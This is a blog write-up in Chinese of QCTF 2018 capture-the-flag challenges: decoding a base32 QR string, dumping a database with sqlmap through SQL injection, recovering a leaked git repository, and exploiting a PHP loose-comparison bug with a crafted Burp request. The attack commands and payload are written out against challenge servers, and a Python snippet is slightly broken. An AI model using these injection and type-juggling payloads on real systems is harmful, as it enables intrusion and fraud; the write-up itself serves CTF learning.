

QCTF 2018 misc和web签到题 writeup

原创

xuchen16 于 2018-07-16 13:11:21 发布 3054 收藏 1

文章标签: [QCTF](#) [xman](#) [writeup](#) [misc](#) [web](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/xuchen16/article/details/81063314>

版权

一、misc

X-man-A face

用画图编辑补全二维码如下



用微信扫码得到

KFBVIRT3KBZGK5DUPFPVG2LTORSXEX2XNBXV6QTVPFZV6TLFL5GG6YTTORSXE7I=

用python的base32解码得到答案QCTF{Pretty_Sister_Who_Buys_Me_Lobster}

```
from base32 import *
print b32decode('KFBVIRT3KBZGK5DUPFPVG2LTORSXEX2XNBXV6QTVPFZV6TLFL5GG6YTTORSXE7I=')n16
```

二、web

1.NewsCenter

页面搜索post提交的地方有注入点用sqlmap跑下

sqlmap -u "http://47.96.118.255:33066/"--data="search=the" --dbms mysql --current-db 查询当前数据库

```
[22:59:04] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.0
[22:59:04] [INFO] fetching current database
current database: 'news'
[22:59:04] [INFO] fetched data logged to text files under /root/.sqlmap/output/47.96.118.255
```

<https://blog.csdn.net/xuchen16>

sqlmap -u "http://47.96.118.255:33066/"--data="search=the" --dbms mysql -D news -tables 查询news数据库有几张表

```
Database: news
[2 tables]
+-----+
| news |
| secret_table |
+-----+
```

sqlmap -u "http://47.96.118.255:33066/"--data="search=the" --dbms mysql -D news -T secret_table -columns 查询secret_table表字段内容出现flag

```
Database: news
Table: secret_table
[1 entry]
+-----+
| fl4g |
+-----+
!OCTF{sql_injection_ezzzzzz!}
```

2. Lottery

用aws扫描站点发现存在git代码泄露

The screenshot shows the Acunetix interface with the following details:

- Alerts summary:** 8 alerts
- Acunetix threat level:** Level 3: High. Description: "One or more high-severity type vulnerabilities have been discovered by the scanner. A malicious user can exploit these vulnerabilities and compromise the backend database and/or".
- Total alerts found:** 8

High	1
Medium	1
Low	5
Informational	1
- Web Alerts (8):**
 - Git repository found (1)
 - HTML form without CSRF protection (1)
 - Clickjacking: X-Frame-Options header missing (1)
 - Cookie without HttpOnly flag set (1)
 - Possible relative path overwrite (2)
 - Possible sensitive directories (1)
 - Error page web server version disclosure (1)
- Target information:** http://47.96.118.255:8888/
- Statistics:** 8013 requests
- Progress:** 99.85%

<https://blog.csdn.net/xuchen16>

用<https://github.com/lijiejie/GitHack> 利用脚本下载源码

在 api.php 85行number传入参数没有判断 第 89 行处找到 弱类型 漏洞。

```
80 function buy($req){
81     require_registered();
82     require_min_money(2);
83
84     $money = $SESSION['money'];
85     $numbers = $req['numbers'];
86     $win_numbers = random_win_nums();
87     $same_count = 0;
88     for($i=0; $i<7; $i++){
89         if($numbers[$i] == $win_numbers[$i]){
90             $same_count++;
91         }
92     }
93     switch ($same_count) {
94         case 2:
95             $prize = 5;
96             break;
97         case 3:
98             $prize = 20;
99             break;
100        case 4:
101            $prize = 300;
102            break;
103        case 5:
104            $prize = 1800;
105            break;
106        case 6:
107            $prize = 200000;
108            break;
109        case 7:
110            $prize = 5000000;
111            break;
112        default:
113            $prize = 0;
114            break;
115    }
116    $money += $prize - 2;
117    $SESSION['money'] = $money;
118    response(['status'=>'ok', 'numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
119 }
```

用burp构造号码全是 True 就可以无限刷了，刷到1000万购买flag

Request

Raw Params Headers Hex

```
POST /api.php HTTP/1.1
Host: 47.96.118.255:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://47.96.118.255:8888/buy.php
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 100
Cookie: PHPSESSID=971317ddeb94e4f7e99ae4732165aaf
Connection: close

{"action":"buy","numbers":{"0":true,"1":true,"2":true,"3":true,"4":true,"5":true,"6":true,"7":true}}
```

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Date: Mon, 16 Jul 2018 09:14:10 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 125
Connection: close
Content-Type: application/json

{"status":"ok","numbers":[true,true,true,true,true,true,true,true,true], "win_numbers":"3484534", "money":"107603847", "prize":"5000000"}
```

<https://blog.csdn.net/xuchen16>

Here is your flag: QCTF(my_PhP_ski1l_is_weeak)

All items

Flag

\$9990000

On Sale
buy the flag if you can

Buy

<https://blog.csdn.net/xuchen16>